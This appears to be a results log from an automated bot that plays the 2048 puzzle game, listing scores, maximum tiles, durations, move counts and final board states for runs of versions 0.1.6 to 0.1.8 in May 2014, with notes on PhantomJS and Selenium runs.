+0.1.7,17May2014 01:57:44,9164,512,04:29,2.33,626,0.2,24.0,45.2,30.7,[256 512 256 64 - 32 64 128 32 - 8 16 8 4 - 4 2 4 2],
+0.1.7,17May2014 22:15:44,25808,2048,11:54,1.88,1343,0.1,25.3,47.9,26.7,[2048 2 4 64 - 16 512 128 32 - 8 64 16 8 - 2 8 4 2],
+0.1.7,17May2014 22:24:47,14576,1024,06:43,2.16,870,0.1,24.9,47.6,27.4,[64 512 64 8 - 16 64 1024 64 - 8 32 16 4 - 2 4 8 2],
+0.1.6,16May2014 12:13:37,16416,1024,06:24,2.51,965,0.4,26.1,47.5,26.0,[128 512 256 1024 - 4 16 128 8 - 8 2 4 2 - 2 4 16 4],tim's build
+0.1.6,16May2014 12:15:10,2572,128,01:32,2.64,243,0.4,23.5,48.6,27.6,[4 64 4 128 - 32 128 64 32 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 12:21:54,16616,1024,06:43,2.48,1001,0.1,23.9,47.5,28.6,[1024 512 2 64 - 32 64 256 32 - 16 128 32 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 12:27:28,15244,1024,05:33,2.74,914,0.0,27.2,47.4,25.4,[128 512 1024 128 - 8 16 64 32 - 4 8 32 4 - 2 4 2 8],tim's build
+0.1.6,16May2014 12:32:49,15332,1024,05:20,2.84,910,0.0,27.1,47.3,25.6,[32 1024 512 128 - 16 64 128 32 - 8 16 32 16 - 2 4 8 2],tim's build
+0.1.6,16May2014 12:41:45,27476,2048,08:55,2.69,1441,0.1,23.8,49.7,26.4,[2048 512 2 64 - 64 128 256 16 - 8 16 32 2 - 2 4 2 4],tim's build
+0.1.6,16May2014 12:47:53,16124,1024,06:07,2.57,943,0.3,25.7,47.2,26.8,[32 2 256 64 - 2 512 128 16 - 8 1024 32 4 - 4 2 4 8],tim's build
+0.1.6,16May2014 12:51:22,7624,512,03:28,2.6,541,0.2,25.7,47.5,26.6,[512 256 64 32 - 32 64 128 16 - 8 32 16 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 12:54:55,6900,512,03:32,2.33,494,0.4,27.3,46.2,26.1,[128 2 128 2 - 32 128 512 64 - 8 32 16 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 13:02:01,22864,2048,07:05,2.72,1156,0.2,25.6,46.9,27.3,[64 256 2048 8 - 32 64 2 32 - 8 32 16 2 - 2 4 2 4],tim's build
+0.1.6,16May2014 13:04:57,7064,512,02:54,2.78,483,0.2,24.4,49.5,25.9,[64 256 4 2 - 16 128 512 32 - 8 4 16 4 - 4 2 4 8],tim's build
+0.1.6,16May2014 13:09:17,12496,1024,04:19,2.9,751,0.1,24.0,47.0,28.9,[1024 256 2 64 - 16 64 128 32 - 8 16 32 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 13:13:10,9088,512,03:52,2.64,612,0.5,25.3,46.9,27.3,[256 2 256 2 - 32 128 512 64 - 8 64 32 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 13:15:47,5600,512,02:37,2.55,400,0.5,21.0,46.5,32.0,[128 512 4 32 - 32 64 32 16 - 16 2 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 13:21:31,14672,1024,05:42,2.56,875,0.1,26.2,47.7,26.1,[2 16 512 1024 - 32 128 64 32 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 13:27:13,13800,1024,05:42,2.49,852,0.1,25.0,47.8,27.1,[128 1024 256 128 - 32 64 128 32 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 13:33:07,16692,1024,05:52,2.81,988,0.0,25.5,48.4,26.1,[64 256 512 1024 - 32 64 128 64 - 16 32 8 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 13:41:54,27416,2048,08:46,2.74,1441,0.1,25.7,46.0,28.1,[2048 512 2 128 - 16 64 256 64 - 8 16 2 8 - 2 4 8 4],tim's build
+0.1.6,16May2014 13:47:42,14788,1024,05:47,2.5,869,0.2,24.3,45.9,29.6,[128 1024 512 4 - 32 64 32 64 - 8 32 2 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 13:54:41,17216,1024,06:58,2.48,1038,0.0,27.1,46.3,26.6,[128 1024 512 256 - 32 64 128 64 - 8 16 32 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 13:58:46,10228,512,04:04,2.78,678,0.1,24.3,47.8,27.7,[64 512 64 512 - 16 64 128 64 - 8 32 16 8 - 4 2 8 2],tim's build
+0.1.6,16May2014 14:01:20,6036,512,02:33,2.82,432,0.5,26.2,49.1,24.3,[64 512 2 64 - 16 32 128 32 - 8 16 64 8 - 4 2 4 2],tim's build
+0.1.6,16May2014 14:07:42,16580,1024,06:20,2.57,976,0.2,27.3,46.8,25.7,[8 512 256 128 - 2 1024 128 32 - 8 32 16 4 - 4 2 8 2],tim's build
+0.1.6,16May2014 14:14:43,17164,1024,07:01,2.46,1036,0.0,26.3,45.3,28.5,[128 1024 512 128 - 16 64 256 64 - 8 16 32 8 - 2 4 8 2],tim's build
+0.1.6,16May2014 14:17:55,7532,512,03:10,2.79,530,0.2,23.2,48.3,28.3,[512 256 2 64 - 32 64 128 16 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 14:21:07,7452,512,03:11,2.7,515,0.4,27.0,47.2,25.4,[64 2 256 2 - 32 512 64 128 - 16 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 14:24:19,7348,512,03:10,2.66,506,0.2,23.7,49.6,26.5,[512 256 2 64 - 2 64 128 16 - 16 8 32 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 14:34:09,27692,2048,09:49,2.48,1460,0.0,26.5,46.4,27.1,[2048 512 256 64 - 32 64 128 32 - 8 16 32 16 - 2 4 8 2],tim's build
+0.1.6,16May2014 14:40:34,16032,1024,06:24,2.47,947,0.2,24.4,44.2,31.2,[128 4 512 32 - 32 1024 256 16 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 14:45:26,12576,1024,04:50,2.61,758,0.0,25.3,47.1,27.6,[1024 256 2 64 - 32 64 128 32 - 8 16 32 8 - 4 8 4 2],tim's build
+0.1.6,16May2014 14:48:44,7344,512,03:17,2.55,503,0.2,23.7,50.3,25.8,[512 256 2 64 - 8 32 128 16 - 16 64 8 4 - 2 8 4 2],tim's build
+0.1.6,16May2014 14:52:50,8680,512,04:05,2.46,602,0.3,22.1,47.8,29.7,[128 512 2 128 - 16 64 256 64 - 2 8 128 8 - 4 2 4 2],tim's build
+0.1.6,16May2014 15:02:52,27532,2048,10:01,2.39,1438,0.3,26.5,46.5,26.7,[2048 512 2 64 - 64 128 256 32 - 16 32 16 4 - 2 8 4 2],tim's build
+0.1.6,16May2014 15:07:55,13000,1024,05:02,2.62,790,0.3,23.3,47.3,29.1,[128 1024 4 32 - 32 64 128 256 - 4 32 8 4 - 2 8 4 2],tim's build
+0.1.6,16May2014 15:13:02,14748,1024,05:06,2.83,867,0.1,26.3,46.5,27.1,[1024 4 128 64 - 32 64 512 16 - 8 32 16 2 - 2 4 2 4],tim's build
+0.1.6,16May2014 15:15:39,6300,512,02:36,2.88,450,0.0,28.0,45.6,26.4,[128 512 128 32 - 32 64 32 16 - 4 8 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 15:21:33,13920,1024,05:53,2.35,831,0.2,24.4,46.2,29.1,[256 4 128 32 - 32 1024 256 16 - 16 64 16 4 - 4 2 8 2],tim's build
+0.1.6,16May2014 15:28:07,16600,1024,06:33,2.5,981,0.1,27.6,47.7,24.6,[8 512 256 128 - 16 1024 128 32 - 8 32 8 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 15:33:44,13508,1024,05:36,2.43,816,0.2,27.3,47.2,25.2,[64 256 4 256 - 8 32 1024 32 - 4 16 64 8 - 2 8 4 2],tim's build
+0.1.6,16May2014 15:35:37,3496,256,01:52,2.63,295,0.7,25.1,45.8,28.5,[2 64 2 256 - 32 4 128 16 - 8 32 64 4 - 2 4 16 2],tim's build
+0.1.6,16May2014 15:39:30,8072,512,03:52,2.42,562,0.4,25.1,45.7,28.8,[512 2 64 4 - 64 128 256 128 - 16 32 8 4 - 2 8 4 2],tim's build
+0.1.6,16May2014 15:42:40,7848,512,03:09,2.9,549,0.0,27.1,48.8,24.0,[128 512 256 8 - 16 32 64 128 - 8 16 8 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 15:44:42,4276,256,02:01,2.88,348,0.3,22.1,50.3,27.3,[128 256 2 64 - 16 32 128 32 - 8 64 32 8 - 4 2 4 2],tim's build
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+0.1.6,16May2014 19:07:47,16776,1024,06:21,2.65,1008,0.0,25.5,47.7,26.8,[1024 512 256 64 - 64 128 64 32 - 8 32 16 8 - 2 4 2 4],tim's build
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+0.1.6,16May2014 19:36:20,16720,1024,06:08,2.73,1006,0.2,27.5,47.8,24.5,[1024 2 256 128 - 32 512 128 16 - 8 16 32 8 - 2 8 4 2],tim's build
+0.1.6,16May2014 19:39:17,5704,256,02:56,2.61,459,0.2,28.1,44.7,27.0,[32 64 256 64 - 4 256 128 32 - 16 64 32 8 - 2 4 8 16],tim's build
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+0.1.6,16May2014 19:47:21,14368,1024,05:01,2.76,831,0.1,23.2,46.9,29.7,[1024 512 128 16 - 16 64 16 8 - 8 32 2 4 - 2 4 8 2],tim's build
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+0.1.6,16May2014 20:07:55,12560,1024,05:15,2.4,755,0.1,25.6,47.7,26.6,[1024 256 2 64 - 32 64 128 32 - 8 16 32 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 20:14:34,16484,1024,06:38,2.46,978,0.1,27.5,47.0,25.4,[1024 512 256 64 - 16 64 128 32 - 8 32 16 8 - 2 8 4 2],tim's build
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+0.1.6,16May2014 20:37:31,9168,512,04:39,2.25,627,0.2,24.7,47.0,28.1,[256 512 256 4 - 32 64 128 64 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 20:44:19,16384,1024,06:47,2.39,972,0.1,25.5,47.2,27.2,[1024 512 256 2 - 16 64 128 64 - 8 32 16 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 20:47:39,7448,512,03:20,2.6,519,0.2,23.9,46.1,29.9,[64 512 2 32 - 2 32 128 256 - 8 64 16 2 - 2 4 2 4],tim's build
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+0.1.6,16May2014 20:58:59,16200,1024,06:02,2.7,976,0.0,25.4,45.4,29.2,[128 1024 512 128 - 32 64 128 64 - 8 32 16 4 - 2 4 8 2],tim's build
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+0.1.6,16May2014 21:12:13,13280,1024,05:31,2.47,817,0.1,27.4,46.3,26.2,[128 256 64 1024 - 16 64 128 32 - 8 16 32 8 - 2 4 8 4],tim's build
+0.1.6,16May2014 21:20:31,18240,1024,08:17,2.22,1103,0.0,23.9,46.0,30.1,[256 1024 512 4 - 32 128 256 64 - 64 32 16 4 - 2 4 8 2],tim's build
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+0.1.6,16May2014 21:26:00,7180,512,03:15,2.54,496,0.4,22.8,47.6,29.2,[2 256 32 2 - 512 64 128 16 - 8 32 16 2 - 2 4 2 4],tim's build
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+0.1.6,16May2014 21:46:26,7592,512,03:21,2.65,532,0.0,25.8,45.7,28.6,[32 512 256 64 - 16 64 128 32 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 21:52:40,16668,1024,06:13,2.68,998,0.1,24.9,46.3,28.7,[1024 512 2 32 - 64 128 256 64 - 16 64 8 4 - 2 8 4 2],tim's build
+0.1.6,16May2014 21:57:51,12812,1024,05:10,2.52,782,0.1,27.2,48.0,24.7,[128 4 256 64 - 64 1024 64 32 - 16 32 16 4 - 2 4 8 2],tim's build
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+0.1.6,16May2014 22:06:33,9396,512,04:17,2.49,641,0.0,27.8,47.4,24.8,[256 512 256 64 - 32 128 64 32 - 64 8 4 2 - 2 4 2 4],tim's build
+0.1.6,16May2014 22:11:32,14172,1024,04:58,2.74,818,0.2,26.5,47.8,25.4,[16 512 128 8 - 2 8 1024 32 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 22:17:35,16392,1024,06:03,2.67,968,0.1,28.1,47.2,24.6,[64 256 2 1024 - 16 32 512 64 - 8 16 128 16 - 2 4 8 2],tim's build
+0.1.6,16May2014 22:23:01,13252,1024,05:25,2.51,816,0.1,25.1,49.3,25.5,[64 2 256 128 - 32 128 1024 64 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 22:33:19,27416,2048,10:16,2.31,1425,0.1,26.5,48.7,24.8,[64 256 2 2048 - 16 128 512 64 - 32 16 2 8 - 2 4 8 4],tim's build
+0.1.6,16May2014 22:38:48,14500,1024,05:28,2.6,854,0.1,26.9,47.1,25.9,[4 512 128 32 - 16 2 1024 64 - 8 32 16 2 - 2 4 2 4],tim's build
+0.1.6,16May2014 22:43:31,12964,1024,04:42,2.77,780,0.1,25.1,45.4,29.4,[128 256 128 32 - 32 64 1024 8 - 4 8 32 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 22:47:48,11472,1024,04:16,2.64,676,0.1,23.4,47.3,29.1,[1024 256 8 32 - 2 8 32 64 - 8 16 8 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 22:53:17,11700,512,05:27,2.31,754,0.3,26.4,47.2,26.1,[4 256 512 128 - 2 512 128 64 - 8 32 8 4 - 4 2 4 2],tim's build
+0.1.6,16May2014 22:57:28,8624,512,04:10,2.4,599,0.2,26.5,47.4,25.9,[128 512 2 128 - 8 128 256 32 - 4 64 32 16 - 2 16 2 4],tim's build
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+0.1.6,16May2014 23:06:09,4244,256,02:18,2.54,351,0.3,26.5,48.4,24.8,[32 128 8 64 - 16 64 256 128 - 4 32 16 8 - 2 8 4 2],tim's build
+0.1.6,16May2014 23:11:13,9948,512,05:03,2.29,693,0.1,23.1,45.5,31.3,[256 512 256 128 - 32 64 128 64 - 8 32 8 4 - 2 4 16 2],tim's build
+0.1.6,16May2014 23:15:35,8936,512,04:21,2.4,627,0.2,25.8,47.5,26.5,[128 512 256 128 - 32 64 128 64 - 8 16 32 16 - 2 4 8 4],tim's build
+0.1.6,16May2014 23:19:03,7924,512,03:26,2.68,552,0.2,25.7,48.2,25.9,[64 512 2 128 - 32 128 256 16 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 23:22:03,7104,512,02:59,2.72,487,0.2,28.1,50.9,20.7,[128 512 2 32 - 16 8 256 16 - 8 16 64 4 - 2 4 8 2],tim's build
+0.1.6,16May2014 23:28:01,15384,1024,05:57,2.57,918,0.1,25.9,49.1,24.8,[4 512 128 64 - 128 1024 64 4 - 8 16 32 2 - 2 4 2 8],tim's build
+0.1.6,16May2014 23:32:49,12616,1024,04:47,2.65,760,0.4,25.8,46.1,27.8,[64 1024 2 64 - 16 64 256 16 - 8 128 16 8 - 2 4 8 2],tim's build
+0.1.6,16May2014 23:42:14,27268,2048,09:24,2.52,1420,0.0,24.6,47.4,28.0,[2048 512 256 32 - 16 32 64 128 - 4 16 8 4 - 2 8 4 2],tim's build
+0.1.6,16May2014 23:51:51,27624,2048,09:36,2.54,1461,0.2,25.7,47.2,26.9,[128 256 4 2048 - 64 512 64 32 - 16 32 16 4 - 4 2 8 2],tim's build
+0.1.6,16May2014 23:58:52,17072,1024,07:00,2.43,1020,0.3,27.5,47.8,24.4,[128 2 512 1024 - 2 256 128 64 - 16 64 32 4 - 2 4 2 8],tim's build
+0.1.6,17May2014 00:06:03,16696,1024,07:10,2.3,987,0.2,26.2,47.2,26.3,[1024 2 256 128 - 2 512 128 4 - 8 64 16 2 - 2 4 2 16],tim's build
+0.1.6,17May2014 00:12:10,15912,1024,06:05,2.6,949,0.2,25.3,47.5,27.0,[256 2 512 64 - 32 1024 64 32 - 16 32 8 4 - 2 4 16 2],tim's build
+0.1.6,17May2014 00:16:29,8712,512,04:18,2.4,619,0.0,23.7,49.3,27.0,[128 512 256 128 - 16 64 128 32 - 8 32 16 8 - 4 2 8 2],tim's build
+0.1.6,17May2014 00:23:06,15848,1024,06:36,2.35,930,0.2,26.5,50.0,23.3,[16 512 4 128 - 2 32 1024 16 - 8 256 8 4 - 2 16 4 2],tim's build
+0.1.6,17May2014 00:24:56,3200,256,01:49,2.41,263,0.4,26.2,46.4,27.0,[256 2 64 32 - 16 128 16 8 - 8 32 2 4 - 2 4 8 16],tim's build
+0.1.6,17May2014 00:36:20,32584,2048,11:23,2.46,1681,0.0,26.0,44.6,29.4,[2048 1024 256 64 - 32 64 128 32 - 8 16 8 2 - 2 4 2 4],tim's build
+0.1.6,17May2014 00:41:57,15048,1024,05:36,2.61,878,0.3,26.1,48.2,25.4,[1024 512 2 128 - 16 32 128 8 - 4 16 64 4 - 2 8 4 2],tim's build
+0.1.6,17May2014 00:48:06,16172,1024,06:08,2.59,954,0.2,25.7,47.7,26.4,[8 512 256 2 - 32 1024 64 128 - 8 32 16 4 - 2 4 8 2],tim's build
+0.1.7,18May2014 00:44:54,9344,512,04:41,2.26,634,0.2,27.9,46.7,25.2,[128 256 512 2 - 16 128 256 32 - 8 32 16 8 - 2 8 4 2],
+0.1.7,18May2014 00:59:58,16040,1024,06:57,2.24,934,0.7,24.0,46.9,28.4,[16 512 256 4 - 2 64 128 1024 - 32 16 8 4 - 2 8 4 2],
+0.1.7,18May2014 21:43:51,16880,1024,06:51,2.46,1010,0.0,25.8,47.1,27.0,[1024 512 256 128 - 16 128 64 16 - 8 16 32 4 - 4 2 4 8],
+0.1.7,18May2014 21:58:54,12588,1024,05:19,2.41,769,0.0,25.1,47.2,27.7,[1024 256 128 64 - 16 32 64 16 - 8 16 32 4 - 2 4 8 2],
+0.1.7,18May2014 22:24:31,8628,512,14:44,0.68,600,0.2,27.3,46.5,26.0,[128 512 256 128 - 32 64 128 32 - 16 2 16 4 - 2 4 8 2],
+0.1.7,18May2014 23:06:26,26664,2048,12:47,1.83,1400,0.1,25.5,45.9,28.4,[128 512 128 64 - 32 64 2048 32 - 8 32 16 4 - 2 4 8 2],
+0.1.7,18May2014 23:38:54,13140,1024,06:08,2.16,795,0.1,27.3,45.0,27.5,[128 1024 256 64 - 16 64 128 16 - 8 32 16 4 - 4 2 8 2],
+0.1.7,18May2014 23:44:45,7076,512,05:03,3.61,1094,0.1,14.2,72.8,13.0,[64 8 512 64 - 16 64 256 32 - 4 16 32 8 - 2 8 4 2],
+0.1.7,19May2014 00:29:31,7356,512,03:14,2.61,506,0.2,29.8,49.0,20.9,[512 2 128 32 - 16 256 64 8 - 8 64 16 4 - 2 4 8 2],
+0.1.7,19May2014 00:39:28,6708,512,03:12,2.48,476,0.2,24.8,46.4,28.6,[128 2 128 64 - 64 512 64 32 - 8 32 16 4 - 2 4 8 2],test+  /note
+0.1.7,25May2014 01:07:16,7340,512,02:21,3.65,514,0.2,28.0,46.3,25.5,[32 512 256 32 - 4 128 64 16 - 16 32 8 2 - 2 4 16 4],
+0.1.7,25May2014 01:13:32,17024,1024,04:56,3.44,1018,0.0,27.1,46.2,26.7,[128 256 512 1024 - 32 64 128 32 - 16 32 16 4 - 2 4 8 2],
+0.1.7,25May2014 01:26:42,12632,1024,01:17,3.26,251,0.4,29.1,49.4,21.1,[128 1024 2 32 - 16 32 256 16 - 8 128 2 8 - 2 4 8 2],20 games on 10 instances
+0.1.7,25May2014 01:27:07,13760,1024,02:06,3.14,396,0.0,26.5,44.7,28.8,[128 1024 256 128 - 32 128 64 32 - 16 32 16 4 - 2 4 8 2],20 games on 10 instances
+0.1.7,25May2014 01:27:14,14592,1024,01:58,3.15,372,0.3,25.5,47.0,27.2,[32 512 2 64 - 16 1024 128 32 - 8 32 16 4 - 2 4 8 2],20 games on 10 instances
+0.1.7,25May2014 01:27:52,7564,512,02:48,3.19,536,0.2,27.8,47.2,24.8,[64 128 256 32 - 16 64 512 16 - 8 16 32 8 - 2 8 4 2],20 games on 10 instances
+0.1.7,25May2014 01:29:46,7400,512,03:01,2.83,512,0.2,25.0,46.5,28.3,[64 2 256 64 - 16 512 128 16 - 8 16 32 8 - 2 4 8 2],20 games on 10 instances
+0.1.7,25May2014 01:29:52,6260,512,02:42,2.75,445,0.2,28.3,47.0,24.5,[128 512 2 4 - 32 64 128 32 - 8 16 32 8 - 4 2 4 2],20 games on 10 instances
+0.1.7,25May2014 01:30:23,25972,2048,05:03,2.8,847,0.1,26.1,44.4,29.4,[2 512 64 4 - 2048 64 128 64 - 8 32 16 8 - 2 4 8 2],20 games on 10 instances
+0.1.7,25May2014 01:31:24,28304,2048,06:01,2.78,1004,0.2,24.2,47.7,27.9,[2048 512 256 128 - 32 64 128 64 - 16 32 16 8 - 4 2 8 2],20 games on 10 instances
+0.1.7,25May2014 01:31:44,8744,512,03:49,2.67,612,0.2,26.1,46.6,27.1,[128 2 256 128 - 64 512 128 16 - 8 64 16 8 - 2 4 8 2],20 games on 10 instances
+0.1.7,25May2014 01:36:12,26344,2048,08:55,2.56,1371,0.1,26.0,47.3,26.6,[2048 512 2 128 - 32 64 128 32 - 4 16 32 2 - 2 4 2 4],20 games on 10 instances
+0.1.7,25May2014 01:36:13,14864,1024,05:47,2.54,882,0.0,24.9,47.8,27.2,[1024 512 64 4 - 32 64 128 32 - 8 32 16 8 - 2 8 4 2],20 games on 10 instances
+0.1.7,25May2014 01:38:53,17216,1024,07:26,2.28,1019,0.1,25.8,47.6,26.5,[256 1024 2 256 - 16 32 512 32 - 8 64 2 4 - 2 16 8 2],20 games on 10 instances
+0.1.7,25May2014 13:41:29,36408,2048,14:56,2.11,1895,0.1,24.9,47.4,27.7,[128 512 1024 2048 - 32 64 256 32 - 16 32 16 8 - 2 4 8 4],
+0.1.7,26May2014 23:24:45,10972,1024,05:49,1.89,659,0.3,26.6,49.3,23.8,[64 2 128 64 - 8 1024 64 16 - 2 32 16 8 - 4 2 4 2],
+0.1.7,27May2014 00:05:41,12696,1024,05:22,2.37,764,0.1,25.0,45.8,29.1,[16 256 128 8 - 4 128 1024 32 - 16 32 16 8 - 2 4 8 2],
+0.1.7,27May2014 00:10:02,7572,512,04:19,2.05,532,0.4,23.5,48.7,27.4,[64 128 2 512 - 32 64 256 32 - 16 32 8 4 - 2 8 4 2],
+0.1.7,27May2014 00:20:09,21808,2048,10:05,1.83,1109,0.0,27.1,48.2,24.7,[4 16 8 2048 - 128 64 2 16 - 16 32 64 4 - 4 2 4 2],
+0.1.7,27May2014 03:08:59,7328,512,00:44,3.48,153,0.7,23.5,48.4,27.5,[512 16 2 64 - 32 128 256 32 - 16 32 4 2 - 2 4 16 8],600 games on 6 instances
+0.1.7,27May2014 03:12:27,15420,1024,01:19,3.97,314,0.0,27.1,45.9,27.1,[1024 512 128 64 - 32 128 64 16 - 8 16 8 2 - 2 4 2 4],100 games run thru PhantomJS
+0.1.7,27May2014 03:17:36,17080,1024,05:08,3.36,1036,0.1,25.8,47.8,26.4,[128 256 512 1024 - 32 64 128 32 - 8 32 8 4 - 2 4 16 2],100 games run thru PhantomJS
+0.1.7,27May2014 03:27:45,30052,2048,10:08,2.45,1488,0.0,25.2,46.6,28.2,[2048 1024 32 2 - 16 64 16 64 - 8 32 2 4 - 2 4 8 16],100 games run thru PhantomJS
+0.1.7,27May2014 03:34:37,12624,1024,06:51,1.88,771,0.3,27.9,47.1,24.8,[64 4 1024 64 - 32 256 128 32 - 8 32 16 4 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,27May2014 03:44:29,16496,1024,09:51,1.67,986,0.0,28.3,45.7,26.0,[1024 512 256 64 - 32 64 128 8 - 8 16 32 2 - 2 4 2 8],100 games run thru PhantomJS
+0.1.7,27May2014 03:55:35,14652,1024,11:05,1.34,893,0.1,23.6,47.5,28.8,[2 1024 256 128 - 256 64 128 32 - 8 16 32 8 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,27May2014 04:00:25,4204,256,04:49,1.2,347,0.3,24.8,47.3,27.7,[128 256 4 64 - 32 64 128 32 - 4 16 8 4 - 2 8 4 2],100 games run thru PhantomJS
+0.1.7,27May2014 04:10:56,10636,512,10:29,1.09,687,0.1,23.9,46.0,30.0,[512 4 512 4 - 16 64 256 64 - 8 32 16 4 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,27May2014 04:28:30,17076,1024,17:33,0.97,1020,0.2,25.7,45.0,29.1,[128 512 1024 128 - 16 64 256 64 - 4 8 32 4 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,27May2014 04:45:36,16552,1024,17:04,0.96,982,0.1,23.4,46.6,29.8,[1024 512 2 128 - 8 128 256 16 - 4 16 32 4 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,27May2014 04:59:11,12140,1024,13:33,0.88,716,0.4,23.7,48.3,27.5,[64 1024 2 4 - 8 32 256 128 - 4 16 8 32 - 2 4 2 4],100 games run thru PhantomJS
+0.1.7,27May2014 05:15:01,12420,1024,15:49,0.78,738,0.0,24.7,47.2,28.2,[1024 256 2 64 - 8 64 128 32 - 2 32 16 4 - 4 2 4 2],100 games run thru PhantomJS
+0.1.7,27May2014 05:27:16,8248,512,12:14,0.8,584,0.0,25.3,47.3,27.4,[512 256 128 64 - 32 128 64 16 - 16 32 8 4 - 2 8 4 2],100 games run thru PhantomJS
+0.1.7,27May2014 05:58:25,23308,2048,31:08,0.64,1195,0.1,25.7,47.4,26.8,[16 64 256 128 - 2 32 2048 32 - 16 8 16 4 - 4 2 4 2],100 games run thru PhantomJS
+0.1.7,27May2014 06:06:52,4228,256,08:26,0.69,348,0.0,22.4,48.3,29.3,[128 256 128 64 - 16 32 64 32 - 4 16 8 4 - 2 8 4 2],100 games run thru PhantomJS
+0.1.7,27May2014 06:35:11,16996,1024,28:18,0.6,1013,0.4,27.1,45.6,26.9,[1024 2 256 128 - 64 512 128 16 - 16 64 8 2 - 2 4 2 4],100 games run thru PhantomJS
+0.1.7,27May2014 07:02:31,15516,1024,27:18,0.57,929,0.1,27.8,45.0,27.1,[128 1024 2 128 - 32 64 512 64 - 8 16 32 16 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,27May2014 07:29:20,14680,1024,26:48,0.54,865,0.2,25.5,49.6,24.6,[4 64 512 1024 - 16 128 32 2 - 8 64 16 8 - 2 8 4 2],100 games run thru PhantomJS
+0.1.7,27May2014 08:01:34,16836,1024,32:12,0.53,1019,0.0,27.4,47.6,25.0,[64 256 512 1024 - 32 64 128 64 - 16 32 16 4 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,27May2014 08:35:01,15704,1024,33:26,0.48,955,0.2,26.9,45.1,27.7,[64 512 128 32 - 32 128 1024 16 - 16 64 32 4 - 4 2 8 16],100 games run thru PhantomJS
+0.1.7,27May2014 09:10:44,15632,1024,35:42,0.44,942,0.1,27.8,45.0,27.1,[128 1024 512 64 - 32 128 64 32 - 16 32 16 4 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,27May2014 10:04:36,25920,2048,53:51,0.42,1354,0.1,25.0,49.5,25.5,[2048 512 2 64 - 16 32 128 32 - 8 64 16 8 - 2 4 8 4],100 games run thru PhantomJS
+0.1.7,27May2014 11:00:59,22320,1024,56:21,0.38,1286,0.1,26.0,46.3,27.6,[128 1024 256 1024 - 32 64 128 64 - 16 32 16 4 - 2 4 8 2],100 games run thru PhantomJS
+0.1.7,30May2014 18:42:19,14772,1024,06:04,2.4,873,0.2,25.2,46.3,28.3,[2 512 64 2 - 128 64 1024 32 - 16 32 16 2 - 2 4 8 4],3 games to check Selenium reloads
+0.1.7,30May2014 19:01:00,28000,2048,10:49,2.27,1474,0.1,23.7,45.9,30.3,[64 512 256 128 - 16 2048 128 32 - 8 32 16 4 - 2 4 8 2],3 games to check Selenium reloads
+0.1.7,30May2014 19:11:54,18008,1024,07:45,2.33,1084,0.1,25.5,46.0,28.4,[256 1024 512 256 - 32 128 64 16 - 16 32 16 4 - 2 4 8 2],3 games to check Selenium reloads
+0.1.7,30May2014 19:26:32,3252,256,01:26,3.21,276,0.0,26.4,53.6,19.9,[8 16 128 256 - 32 64 32 16 - 8 16 2 4 - 2 4 8 2],3 games to check Selenium reloads
+0.1.7,30May2014 20:53:05,12256,1024,05:11,2.36,735,0.3,24.5,47.5,27.8,[32 256 2 32 - 8 64 128 16 - 16 1024 16 4 - 2 4 8 2],3 games to check Selenium reloads
+0.1.7,30May2014 20:55:26,4268,256,02:10,2.52,327,0.6,22.6,44.3,32.4,[256 4 16 2 - 32 64 256 32 - 8 32 16 4 - 2 4 8 2],3 games to check Selenium reloads
+0.1.7,30May2014 21:02:39,16824,1024,07:02,2.37,1001,0.1,25.2,46.4,28.4,[1024 512 2 128 - 64 128 256 16 - 8 32 8 4 - 4 2 16 2],3 games to check Selenium reloads
+0.1.8,30May2014 21:17:08,6216,512,00:36,3.83,138,0.7,26.1,47.1,26.1,[64 16 128 64 - 32 64 512 32 - 8 16 32 16 - 2 4 8 2],PHJS do not clear cache
+0.1.8,30May2014 21:21:40,15884,1024,04:23,3.57,940,0.1,24.9,48.0,27.0,[32 512 256 64 - 16 1024 64 32 - 8 32 16 8 - 2 4 8 2],3 games to check Selenium reloads PH
+0.1.8,30May2014 21:26:14,16196,1024,04:25,3.63,961,0.3,26.8,45.9,27.0,[64 4 32 2 - 32 512 1024 256 - 2 128 16 8 - 4 2 8 2],3 games to check Selenium reloads PH
+0.1.8,30May2014 21:32:44,12812,1024,05:17,2.48,785,0.1,28.9,48.2,22.8,[1024 2 128 64 - 32 256 64 32 - 8 64 16 8 - 2 4 8 4],3 games to check Selenium reloads
+0.1.8,30May2014 21:39:21,15556,1024,06:26,2.43,939,0.1,30.0,46.3,23.5,[128 1024 512 64 - 32 64 128 16 - 8 32 16 4 - 2 4 8 2],3 games to check Selenium reloads
